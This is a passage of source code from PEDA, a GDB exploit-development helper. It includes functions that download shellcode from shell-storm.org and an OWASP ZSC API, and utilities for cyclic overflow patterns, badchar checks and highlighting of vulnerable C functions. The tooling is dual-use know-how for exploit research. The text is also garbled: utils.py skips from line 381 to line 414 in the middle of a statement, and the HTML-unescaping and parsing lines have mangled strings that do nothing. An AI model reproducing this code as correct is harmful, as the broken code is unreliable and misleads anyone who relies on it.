as e: 320 | if config.Option.get("debug") == "on": 321 | msg("Exception: %s" %e) 322 | traceback.print_exc() 323 | error_msg("Cannot connect to shell-storm.org") 324 | return None 325 | 326 | data_dl = [] 327 | for data in data_l: 328 | try: 329 | desc = data.split("::::") 330 | dico = { 331 | 'ScAuthor': desc[0], 332 | 'ScArch': desc[1], 333 | 'ScTitle': desc[2], 334 | 'ScId': desc[3], 335 | 'ScUrl': desc[4] 336 | } 337 | data_dl.append(dico) 338 | except Exception as e: 339 | if config.Option.get("debug") == "on": 340 | msg("Exception: %s" %e) 341 | traceback.print_exc() 342 | 343 | return data_dl 344 | 345 | def display(self, shellcodeId): 346 | if shellcodeId is None: 347 | return None 348 | 349 | try: 350 | msg("Connecting to shell-storm.org...") 351 | s = six.moves.http_client.HTTPConnection("shell-storm.org") 352 | except: 353 | error_msg("Cannot connect to shell-storm.org") 354 | return None 355 | 356 | try: 357 | s.request("GET", "/shellcode/files/shellcode-"+str(shellcodeId)+".php") 358 | res = s.getresponse() 359 | data = res.read().decode('utf-8').split("
")[1].split("")[0]
360 |         except:
361 |             error_msg("Failed to download shellcode from shell-storm.org")
362 |             return None
363 | 
364 |         data = data.replace(""", "\"")
365 |         data = data.replace("&", "&")
366 |         data = data.replace("<", "<")
367 |         data = data.replace(">", ">")
368 |         return data
369 |     #OWASP ZSC API Z3r0D4y.Com
370 |     def zsc(self,os,job,encode):
371 |         try:
372 |             msg('Connection to OWASP ZSC API api.z3r0d4y.com')
373 |             params = urlencode({
374 |                     'api_name': 'zsc', 
375 |                     'os': os,
376 |                     'job': job,
377 |                     'encode': encode})
378 |             shellcode = urlopen("http://api.z3r0d4y.com/index.py?%s\n"%(str(params))).read()
379 |             if pyversion is 3:
380 |                 shellcode = str(shellcode,encoding='ascii')
381 |             return '\n"'+shellcode.replace('\n','')+'"\n'
382 |         except:
383 |             error_msg("Error while connecting to api.z3r0d4y.com ...")
384 |             return None
385 | 


--------------------------------------------------------------------------------
/peda/lib/utils.py:
--------------------------------------------------------------------------------
  1 | #
  2 | #       PEDA - Python Exploit Development Assistance for GDB
  3 | #
  4 | #       Copyright (C) 2012 Long Le Dinh 
  5 | #
  6 | #       License: see LICENSE file for details
  7 | #
  8 | 
  9 | from __future__ import absolute_import
 10 | from __future__ import division
 11 | from __future__ import print_function
 12 | 
 13 | import tempfile
 14 | import pprint
 15 | import inspect
 16 | import sys
 17 | import struct
 18 | import string
 19 | import re
 20 | import itertools
 21 | import functools
 22 | from subprocess import *
 23 | import config
 24 | import codecs
 25 | 
 26 | import six
 27 | from six import StringIO
 28 | from six.moves import range
 29 | from six.moves import input
 30 | 
 31 | # http://wiki.python.org/moin/PythonDecoratorLibrary#Memoize
 32 | # http://stackoverflow.com/questions/8856164/class-decorator-decorating-method-in-python
 33 | class memoized(object):
 34 |     """
 35 |     Decorator. Caches a function's return value each time it is called.
 36 |     If called later with the same arguments, the cached value is returned
 37 |     (not reevaluated).
 38 |     """
 39 |     def __init__(self, func):
 40 |         self.func = func
 41 |         self.instance = None # bind with instance class of decorated method
 42 |         self.cache = {}
 43 |         self.__doc__ = inspect.getdoc(self.func)
 44 | 
 45 |     def __call__(self, *args, **kwargs):
 46 |         try:
 47 |             return self.cache[(self.func, self.instance, args) + tuple(kwargs.items())]
 48 |         except KeyError:
 49 |             if self.instance is None:
 50 |                 value = self.func(*args, **kwargs)
 51 |             else:
 52 |                 value = self.func(self.instance, *args, **kwargs)
 53 |             self.cache[(self.func, self.instance, args) + tuple(kwargs.items())] = value
 54 |             return value
 55 |         except TypeError:
 56 |             # uncachable -- for instance, passing a list as an argument.
 57 |             # Better to not cache than to blow up entirely.
 58 |             if self.instance is None:
 59 |                 return self.func(*args, **kwargs)
 60 |             else:
 61 |                 return self.func(self.instance, *args, **kwargs)
 62 | 
 63 |     def __repr__(self):
 64 |         """Return the function's docstring."""
 65 |         return self.__doc__
 66 | 
 67 |     def __get__(self, obj, objtype):
 68 |         """Support instance methods."""
 69 |         if obj is None:
 70 |             return self
 71 |         else:
 72 |             self.instance = obj
 73 |             return self
 74 | 
 75 |     def _reset(self):
 76 |         """Reset the cache"""
 77 |         # Make list to prevent modifying dictionary while iterating
 78 |         for cached in list(self.cache.keys()):
 79 |             if cached[0] == self.func and cached[1] == self.instance:
 80 |                 del self.cache[cached]
 81 | 
 82 | def reset_cache(module=None):
 83 |     """
 84 |     Reset memoized caches of an instance/module
 85 |     """
 86 |     if module is None:
 87 |         module = sys.modules['__main__']
 88 | 
 89 |     for m in dir(module):
 90 |         m = getattr(module, m)
 91 |         if isinstance(m, memoized):
 92 |             m._reset()
 93 |         else:
 94 |             for f in dir(m):
 95 |                 f = getattr(m, f)
 96 |                 if isinstance(f, memoized):
 97 |                     f._reset()
 98 | 
 99 |     return True
100 | 
101 | def tmpfile(pref="peda-", is_binary_file=False):
102 |     """Create and return a temporary file with custom prefix"""
103 | 
104 |     mode = 'w+b' if is_binary_file else 'w+'
105 |     return tempfile.NamedTemporaryFile(mode=mode, prefix=pref)
106 | 
107 | def colorize(text, color=None, attrib=None):
108 |     """
109 |     Colorize text using ansicolor
110 |     ref: https://github.com/hellman/libcolors/blob/master/libcolors.py
111 |     """
112 |     # ansicolor definitions
113 |     COLORS = {"black": "30", "red": "31", "green": "32", "yellow": "33",
114 |                 "blue": "34", "purple": "35", "cyan": "36", "white": "37"}
115 |     CATTRS = {"regular": "0", "bold": "1", "underline": "4", "strike": "9",
116 |                 "light": "1", "dark": "2", "invert": "7"}
117 | 
118 |     CPRE = '\033['
119 |     CSUF = '\033[0m'
120 | 
121 |     if config.Option.get("ansicolor") != "on":
122 |         return text
123 | 
124 |     ccode = ""
125 |     if attrib:
126 |         for attr in attrib.lower().split():
127 |             attr = attr.strip(",+|")
128 |             if attr in CATTRS:
129 |                 ccode += ";" + CATTRS[attr]
130 |     if color in COLORS:
131 |         ccode += ";" + COLORS[color]
132 |     return CPRE + ccode + "m" + text + CSUF
133 | 
134 | def green(text, attrib=None):
135 |     """Wrapper for colorize(text, 'green')"""
136 |     return colorize(text, "green", attrib)
137 | 
138 | def red(text, attrib=None):
139 |     """Wrapper for colorize(text, 'red')"""
140 |     return colorize(text, "red", attrib)
141 | 
142 | def yellow(text, attrib=None):
143 |     """Wrapper for colorize(text, 'yellow')"""
144 |     return colorize(text, "yellow", attrib)
145 | 
146 | def blue(text, attrib=None):
147 |     """Wrapper for colorize(text, 'blue')"""
148 |     return colorize(text, "blue", attrib)
149 | 
150 | class message(object):
151 |     """
152 |     Generic pretty printer with redirection.
153 |     It also suports buffering using bufferize() and flush().
154 |     """
155 | 
156 |     def __init__(self):
157 |         self.out = sys.stdout
158 |         self.buffering = 0
159 | 
160 |     def bufferize(self, f=None):
161 |         """Activate message's bufferization, can also be used as a decorater."""
162 | 
163 |         if f != None:
164 |             @functools.wraps(f)
165 |             def wrapper(*args, **kwargs):
166 |                 self.bufferize()
167 |                 f(*args, **kwargs)
168 |                 self.flush()
169 |             return wrapper
170 | 
171 |         # If we are still using stdio we need to change it.
172 |         if not self.buffering:
173 |             self.out = StringIO()
174 |         self.buffering += 1
175 | 
176 |     def flush(self):
177 |         if not self.buffering:
178 |             raise ValueError("Tried to flush a message that is not bufferising.")
179 |         self.buffering -= 1
180 | 
181 |         # We only need to flush if this is the lowest recursion level.
182 |         if not self.buffering:
183 |             self.out.flush()
184 |             sys.stdout.write(self.out.getvalue())
185 |             self.out = sys.stdout
186 | 
187 |     def __call__(self, text, color=None, attrib=None, teefd=None):
188 |         if not teefd:
189 |             teefd = config.Option.get("_teefd")
190 | 
191 |         if isinstance(text, six.string_types) and "\x00" not in text:
192 |             print(colorize(text, color, attrib), file=self.out)
193 |             if teefd:
194 |                 print(colorize(text, color, attrib), file=teefd)
195 |         else:
196 |             pprint.pprint(text, self.out)
197 |             if teefd:
198 |                 pprint.pprint(text, teefd)
199 | 
200 | msg = message()
201 | 
202 | def warning_msg(text):
203 |     """Colorize warning message with prefix"""
204 |     msg(colorize("Warning: " + str(text), "yellow"))
205 | 
206 | def error_msg(text):
207 |     """Colorize error message with prefix"""
208 |     msg(colorize("Error: " + str(text), "red"))
209 | 
210 | def debug_msg(text, prefix="Debug"):
211 |     """Colorize debug message with prefix"""
212 |     msg(colorize("%s: %s" % (prefix, str(text)), "cyan"))
213 | 
214 | def trim(docstring):
215 |     """
216 |     Handle docstring indentation, ref: PEP257
217 |     """
218 |     if not docstring:
219 |         return ''
220 |     # Convert tabs to spaces (following the normal Python rules)
221 |     # and split into a list of lines:
222 |     lines = docstring.expandtabs().splitlines()
223 |     # Determine minimum indentation (first line doesn't count):
224 |     max_indent = sys.maxsize
225 |     indent = max_indent
226 |     for line in lines[1:]:
227 |         stripped = line.lstrip()
228 |         if stripped:
229 |             indent = min(indent, len(line) - len(stripped))
230 |     # Remove indentation (first line is special):
231 |     trimmed = [lines[0].strip()]
232 |     if indent < max_indent:
233 |         for line in lines[1:]:
234 |             trimmed.append(line[indent:].rstrip())
235 |     # Strip off trailing and leading blank lines:
236 |     while trimmed and not trimmed[-1]:
237 |         trimmed.pop()
238 |     while trimmed and not trimmed[0]:
239 |         trimmed.pop(0)
240 |     # Return a single string:
241 |     return '\n'.join(trimmed)
242 | 
243 | def pager(text, pagesize=None):
244 |     """
245 |     Paging output, mimic external command less/more
246 |     """
247 |     if not pagesize:
248 |         pagesize = config.Option.get("pagesize")
249 | 
250 |     if pagesize <= 0:
251 |         msg(text)
252 |         return
253 | 
254 |     i = 1
255 |     text = text.splitlines()
256 |     l = len(text)
257 | 
258 |     for line in text:
259 |         msg(line)
260 |         if i % pagesize == 0:
261 |             ans = input("--More--(%d/%d)" % (i, l))
262 |             if ans.lower().strip() == "q":
263 |                 break
264 |         i += 1
265 | 
266 |     return
267 | 
268 | def execute_external_command(command, cmd_input=None):
269 |     """
270 |     Execute external command and capture its output
271 | 
272 |     Args:
273 |         - command (String)
274 | 
275 |     Returns:
276 |         - output of command (String)
277 |     """
278 |     result = ""
279 |     P = Popen([command], stdout=PIPE, stdin=PIPE, stderr=PIPE, shell=True)
280 |     (result, err) = P.communicate(cmd_input)
281 |     if err and config.Option.get("debug") == "on":
282 |         warning_msg(err)
283 | 
284 |     return decode_string_escape(result)
285 | 
286 | def is_printable(text, printables=""):
287 |     """
288 |     Check if a string is printable
289 |     """
290 |     if six.PY3 and isinstance(text, six.string_types):
291 |         text = six.b(text)
292 |     return set(text) - set(six.b(string.printable) + six.b(printables)) == set()
293 | 
294 | def is_math_exp(str):
295 |     """
296 |     Check if a string is a math exprssion
297 |     """
298 |     charset = set("0123456789abcdefx+-*/%^")
299 |     opers = set("+-*/%^")
300 |     exp = set(str.lower())
301 |     return (exp & opers != set()) and (exp - charset == set())
302 | 
303 | def normalize_argv(args, size=0):
304 |     """
305 |     Normalize argv to list with predefined length
306 |     """
307 |     args = list(args)
308 |     for (idx, val) in enumerate(args):
309 |         if to_int(val) is not None:
310 |             args[idx] = to_int(val)
311 |         if size and idx == size:
312 |             return args[:idx]
313 | 
314 |     if size == 0:
315 |         return args
316 |     for i in range(len(args), size):
317 |         args += [None]
318 |     return args
319 | 
320 | def to_hexstr(str_):
321 |     """
322 |     Convert a binary string to hex escape format
323 |     """
324 |     return "".join(["\\x%02x" % ord(i) for i in bytes_iterator(str_)])
325 | 
326 | def to_hex(num):
327 |     """
328 |     Convert a number to hex format
329 |     """
330 |     if num < 0:
331 |         return "-0x%x" % (-num)
332 |     else:
333 |         return "0x%x" % num
334 | 
335 | def to_address(num):
336 |     """
337 |     Convert a number to address format in hex
338 |     """
339 |     if num < 0:
340 |         return to_hex(num)
341 |     if num > 0xffffffff: # 64 bit
342 |         return "0x%016x" % num
343 |     else:
344 |         return "0x%08x" % num
345 | 
346 | def to_int(val):
347 |     """
348 |     Convert a string to int number
349 |     """
350 |     try:
351 |         return int(str(val), 0)
352 |     except:
353 |         return None
354 | 
355 | def str2hex(str):
356 |     """
357 |     Convert a string to hex encoded format
358 |     """
359 |     result = codecs.encode(str, 'hex')
360 |     return result
361 | 
362 | def hex2str(hexnum, intsize=4):
363 |     """
364 |     Convert a number in hex format to string
365 |     """
366 |     if not isinstance(hexnum, six.string_types):
367 |         nbits = intsize * 8
368 |         hexnum = "0x%x" % ((hexnum + (1 << nbits)) % (1 << nbits))
369 |     s = hexnum[2:]
370 |     if len(s) % 2 != 0:
371 |         s = "0" + s
372 |     result = codecs.decode(s, 'hex')[::-1]
373 |     return result
374 | 
375 | def int2hexstr(num, intsize=4):
376 |     """
377 |     Convert a number to hexified string
378 |     """
379 |     if intsize == 8:
380 |         if num < 0:
381 |             result = struct.pack("Q", data[i:i+intsize])[0]
414 |         else:
415 |             val = struct.unpack(">L", data[i:i+intsize])[0]
416 |         result = [val] + result
417 |     return result
418 | 
419 | @memoized
420 | def check_badchars(data, chars=None):
421 |     """
422 |     Check an address or a value if it contains badchars
423 |     """
424 |     if to_int(data) is None:
425 |         to_search = data
426 |     else:
427 |         data = to_hex(to_int(data))[2:]
428 |         if len(data) % 2 != 0:
429 |             data = "0" + data
430 |         to_search = codecs.decode(data, 'hex')
431 | 
432 |     if not chars:
433 |         chars = config.Option.get("badchars")
434 | 
435 |     if chars:
436 |         for c in chars:
437 |             if c in to_search:
438 |                 return True
439 |     return False
440 | 
441 | @memoized
442 | def format_address(addr, type):
443 |     """Colorize an address"""
444 |     colorcodes = {
445 |         "data": "blue",
446 |         "code": "red",
447 |         "rodata": "green",
448 |         "value": None
449 |     }
450 |     return colorize(addr, colorcodes[type])
451 | 
452 | @memoized
453 | def format_reference_chain(chain):
454 |     """
455 |     Colorize a chain of references
456 |     """
457 |     v = t = vn = None
458 |     text = ""
459 |     if not chain:
460 |         text += "Cannot access memory address"
461 |     else:
462 |         first = True
463 |         for (v, t, vn) in chain:
464 |             if t != "value":
465 |                 text += "%s%s " % ("--> " if not first else "", format_address(v, t))
466 |             else:
467 |                 text += "%s%s " % ("--> " if not first else "", v)
468 |             first = False
469 | 
470 |         if vn:
471 |             text += "(%s)" % vn
472 |         else:
473 |             if v != "0x0":
474 |                 s = hex2str(v)
475 |                 if is_printable(s, "\x00"):
476 |                     text += "(%s)" % string_repr(s.split(b"\x00")[0])
477 |     return text
478 | 
479 | # vulnerable C functions, source: rats/flawfinder
480 | VULN_FUNCTIONS = [
481 |     "exec", "system", "gets", "popen", "getenv", "strcpy", "strncpy", "strcat", "strncat",
482 |     "memcpy", "bcopy", "printf", "sprintf", "snprintf", "scanf",  "getchar", "getc", "read",
483 |     "recv", "tmp", "temp"
484 | ]
485 | @memoized
486 | def format_disasm_code(code, nearby=None):
487 |     """
488 |     Format output of disassemble command with colors to highlight:
489 |         - dangerous functions (rats/flawfinder)
490 |         - branching: jmp, call, ret
491 |         - testing: cmp, test
492 | 
493 |     Args:
494 |         - code: input asm code (String)
495 |         - nearby: address for nearby style format (Int)
496 | 
497 |     Returns:
498 |         - colorized text code (String)
499 |     """
500 |     colorcodes = {
501 |         "cmp": "red",
502 |         "test": "red",
503 |         "call": "green",
504 |         "j": "yellow", # jump
505 |         "ret": "blue",
506 |     }
507 |     result = ""
508 | 
509 |     if not code:
510 |         return result
511 | 
512 |     if to_int(nearby) is not None:
513 |         target = to_int(nearby)
514 |     else:
515 |         target = 0
516 | 
517 |     for line in code.splitlines():
518 |         if ":" not in line: # not an assembly line
519 |             result += line + "\n"
520 |         else:
521 |             color = style = None
522 |             m = re.search(".*(0x[^ ]*).*:\s*([^ ]*)", line)
523 |             if not m: # failed to parse
524 |                 result += line + "\n"
525 |                 continue
526 |             addr, opcode = to_int(m.group(1)), m.group(2)
527 |             for c in colorcodes:
528 |                 if c in opcode:
529 |                     color = colorcodes[c]
530 |                     if c == "call":
531 |                         for f in VULN_FUNCTIONS:
532 |                             if f in line.split(":\t", 1)[-1]:
533 |                                 style = "bold, underline"
534 |                                 color = "red"
535 |                                 break
536 |                     break
537 | 
538 |             prefix = line.split(":\t")[0]
539 |             addr = re.search("(0x[^\s]*)", prefix)
540 |             if addr:
541 |                 addr = to_int(addr.group(1))
542 |             else:
543 |                 addr = -1
544 |             line = "\t" + line.split(":\t", 1)[-1]
545 |             if addr < target:
546 |                 style = "dark"
547 |             elif addr == target:
548 |                 style = "bold"
549 |                 color = "green"
550 | 
551 |             code = colorize(line.split(";")[0], color, style)
552 |             if ";" in line:
553 |                 comment = colorize(";" + line.split(";", 1)[1], color, "dark")
554 |             else:
555 |                 comment = ""
556 |             line = "%s:%s%s" % (prefix, code, comment)
557 |             result += line + "\n"
558 | 
559 |     return result.rstrip()
560 | 
561 | def cyclic_pattern_charset(charset_type=None):
562 |     """
563 |     Generate charset for cyclic pattern
564 | 
565 |     Args:
566 |         - charset_type: charset type
567 |             0: basic (0-9A-za-z)
568 |             1: extended (default)
569 |             2: maximum (almost printable chars)
570 | 
571 |     Returns:
572 |         - list of charset
573 |     """
574 | 
575 |     charset = []
576 |     charset += ["ABCDEFGHIJKLMNOPQRSTUVWXYZ"] # string.uppercase
577 |     charset += ["abcdefghijklmnopqrstuvwxyz"] # string.lowercase
578 |     charset += ["0123456789"] # string.digits
579 | 
580 |     if not charset_type:
581 |         charset_type = config.Option.get("pattern")
582 | 
583 |     if charset_type == 1: # extended type
584 |         charset[1] = "%$-;" + re.sub("[sn]", "", charset[1])
585 |         charset[2] = "sn()" + charset[2]
586 | 
587 |     if charset_type == 2: # maximum type
588 |         charset += ['!"#$%&\()*+,-./:;<=>?@[]^_{|}~'] # string.punctuation
589 | 
590 |     mixed_charset = mixed = ''
591 |     k = 0
592 |     while True:
593 |         for i in range(0, len(charset)): mixed += charset[i][k:k+1]
594 |         if not mixed: break
595 |         mixed_charset += mixed
596 |         mixed = ''
597 |         k+=1
598 | 
599 |     return mixed_charset
600 | 
601 | def de_bruijn(charset, n, maxlen):
602 |     """
603 |     Generate the De Bruijn Sequence up to `maxlen` characters for the charset `charset`
604 |     and subsequences of length `n`.
605 |     Algorithm modified from wikipedia http://en.wikipedia.org/wiki/De_Bruijn_sequence
606 |     """
607 |     k = len(charset)
608 |     a = [0] * k * n
609 |     sequence = []
610 |     def db(t, p):
611 |         if len(sequence) == maxlen:
612 |             return
613 | 
614 |         if t > n:
615 |             if n % p == 0:
616 |                 for j in range(1, p + 1):
617 |                     sequence.append(charset[a[j]])
618 |                     if len(sequence) == maxlen:
619 |                         return
620 |         else:
621 |             a[t] = a[t - p]
622 |             db(t + 1, p)
623 |             for j in range(a[t - p] + 1, k):
624 |                 a[t] = j
625 |                 db(t + 1, t)
626 |     db(1,1)
627 |     return ''.join(sequence)
628 | 
629 | @memoized
630 | def cyclic_pattern(size=None, start=None, charset_type=None):
631 |     """
632 |     Generate a cyclic pattern
633 | 
634 |     Args:
635 |         - size: size of generated pattern (Int)
636 |         - start: the start offset of the generated pattern (Int)
637 |         - charset_type: charset type
638 |             0: basic (0-9A-za-z)
639 |             1: extended (default)
640 |             2: maximum (almost printable chars)
641 | 
642 |     Returns:
643 |         - pattern text (byte string) (str in Python 2; bytes in Python 3)
644 |     """
645 |     charset = config.Option.get("p_charset")
646 |     if not charset:
647 |         charset = cyclic_pattern_charset(charset)
648 |     else:
649 |         charset = ''.join(set(charset))
650 | 
651 |     if start is None:
652 |         start = 0
653 |     if size is None:
654 |         size = 0x10000
655 | 
656 |     size += start
657 | 
658 |     pattern = de_bruijn(charset, 3, size)
659 | 
660 |     return pattern[start:size].encode('utf-8')
661 | 
662 | @memoized
663 | def cyclic_pattern_offset(value):
664 |     """
665 |     Search a value if it is a part of cyclic pattern
666 | 
667 |     Args:
668 |         - value: value to search for (String/Int)
669 | 
670 |     Returns:
671 |         - offset in pattern if found
672 |     """
673 |     pattern = cyclic_pattern()
674 |     if to_int(value) is None:
675 |         search = value.encode('utf-8')
676 |     else:
677 |         search = hex2str(to_int(value))
678 | 
679 |     pos = pattern.find(search)
680 |     return pos if pos != -1 else None
681 | 
682 | def cyclic_pattern_search(buf):
683 |     """
684 |     Search all cyclic pattern pieces in a buffer
685 | 
686 |     Args:
687 |         - buf: buffer to search for (String)
688 | 
689 |     Returns:
690 |         - list of tuple (buffer_offset, pattern_len, pattern_offset)
691 |     """
692 |     result = []
693 |     pattern = cyclic_pattern()
694 | 
695 |     p = re.compile(b"[" + re.escape(to_binary_string(cyclic_pattern_charset())) + b"]{4,}")
696 |     found = p.finditer(buf)
697 |     found = list(found)
698 |     for m in found:
699 |         s = buf[m.start():m.end()]
700 |         i = pattern.find(s)
701 |         k = 0
702 |         while i == -1 and len(s) > 4:
703 |             s = s[1:]
704 |             k += 1
705 |             i = pattern.find(s)
706 |         if i != -1:
707 |             result += [(m.start()+k, len(s), i)]
708 | 
709 |     return result
710 | 
711 | 
712 | def _decode_string_escape_py2(str_):
713 |     """
714 |     Python2 string escape
715 | 
716 |     Do not use directly, instead use decode_string.
717 |     """
718 |     return str_.decode('string_escape')
719 | 
720 | 
721 | def _decode_string_escape_py3(str_):
722 |     """
723 |     Python3 string escape
724 | 
725 |     Do not use directly, instead use decode_string.
726 |     """
727 | 
728 |     # Based on: http://stackoverflow.com/a/4020824
729 |     return codecs.decode(str_, "unicode_escape")
730 | 
731 | 
732 | def decode_string_escape(str_):
733 |     """Generic Python string escape"""
734 |     raise Exception('Should be overriden')
735 | 
736 | 
737 | def bytes_iterator(bytes_):
738 |     """
739 |     Returns iterator over a bytestring. In Python 2, this is just a str. In
740 |     Python 3, this is a bytes.
741 | 
742 |     Wrap this around a bytestring when you need to iterate to be compatible
743 |     with Python 2 and Python 3.
744 |     """
745 |     raise Exception('Should be overriden')
746 | 
747 | 
748 | def _bytes_iterator_py2(bytes_):
749 |     """
750 |     Returns iterator over a bytestring in Python 2.
751 | 
752 |     Do not call directly, use bytes_iterator instead
753 |     """
754 |     for b in bytes_:
755 |         yield b
756 | 
757 | 
758 | def _bytes_iterator_py3(bytes_):
759 |     """
760 |     Returns iterator over a bytestring in Python 3.
761 | 
762 |     Do not call directly, use bytes_iterator instead
763 |     """
764 |     for b in bytes_:
765 |         yield bytes([b])
766 | 
767 | 
768 | def bytes_chr(i):
769 |     """
770 |     Returns a byte string  of length 1 whose ordinal value is i. In Python 2,
771 |     this is just a str. In Python 3, this is a bytes.
772 | 
773 |     Use this instead of chr to be compatible with Python 2 and Python 3.
774 |     """
775 |     raise Exception('Should be overriden')
776 | 
777 | 
778 | def _bytes_chr_py2(i):
779 |     """
780 |     Returns a byte string  of length 1 whose ordinal value is i in Python 2.
781 | 
782 |     Do not call directly, use bytes_chr instead.
783 |     """
784 |     return chr(i)
785 | 
786 | 
787 | def _bytes_chr_py3(i):
788 |     """
789 |     Returns a byte string  of length 1 whose ordinal value is i in Python 3.
790 | 
791 |     Do not call directly, use bytes_chr instead.
792 |     """
793 |     return bytes([i])
794 | 
795 | 
796 | def to_binary_string(text):
797 |     """
798 |     Converts a string to a binary string if it is not already one. Returns a str
799 |     in Python 2 and a bytes in Python3.
800 | 
801 |     Use this instead of six.b when the text may already be a binary type
802 |     """
803 |     raise Exception('Should be overriden')
804 | 
805 | 
806 | def _to_binary_string_py2(text):
807 |     """
808 |     Converts a string to a binary string if it is not already one. Returns a str
809 |     in Python 2 and a bytes in Python3.
810 | 
811 |     Do not use directly, use to_binary_string instead.
812 |     """
813 |     return str(text)
814 | 
815 | 
816 | def _to_binary_string_py3(text):
817 |     """
818 |     Converts a string to a binary string if it is not already one. Returns a str
819 |     in Python 2 and a bytes in Python3.
820 | 
821 |     Do not use directly, use to_binary_string instead.
822 |     """
823 |     if isinstance(text, six.binary_type):
824 |         return text
825 |     elif isinstance(text, six.string_types):
826 |         return six.b(text)
827 |     else:
828 |         raise Exception('only takes string types')
829 | 
830 | 
831 | # Select functions based on Python version
832 | if six.PY2:
833 |     decode_string_escape = _decode_string_escape_py2
834 |     bytes_iterator = _bytes_iterator_py2
835 |     bytes_chr = _bytes_chr_py2
836 |     to_binary_string = _to_binary_string_py2
837 | elif six.PY3:
838 |     decode_string_escape = _decode_string_escape_py3
839 |     bytes_iterator = _bytes_iterator_py3
840 |     bytes_chr = _bytes_chr_py3
841 |     to_binary_string = _to_binary_string_py3
842 | else:
843 |     raise Exception("Could not identify Python major version")
844 | 
845 | 
846 | def dbg_print_vars(*args):
847 |     """Prints name and repr of each arg on a separate line"""
848 |     import inspect
849 |     parent_locals = inspect.currentframe().f_back.f_locals
850 |     maps = []
851 |     for arg in args:
852 |         for name, value in parent_locals.items():
853 |             if id(arg) == id(value):
854 |                 maps.append((name, repr(value)))
855 |                 break
856 |     print('\n'.join(name + '=' + value for name, value in maps))
857 | 
858 | 
859 | def string_repr(text, show_quotes=True):
860 |     """
861 |     Prints the repr of a string. Eliminates the leading 'b' in the repr in
862 |     Python 3.
863 | 
864 |     Optionally can show or include quotes.
865 |     """
866 |     if six.PY3 and isinstance(text, six.binary_type):
867 |         # Skip leading 'b' at the beginning of repr
868 |         output = repr(text)[1:]
869 |     else:
870 |         output = repr(text)
871 | 
872 |     if show_quotes:
873 |         return output
874 |     else:
875 |         return output[1:-1]
876 | 


--------------------------------------------------------------------------------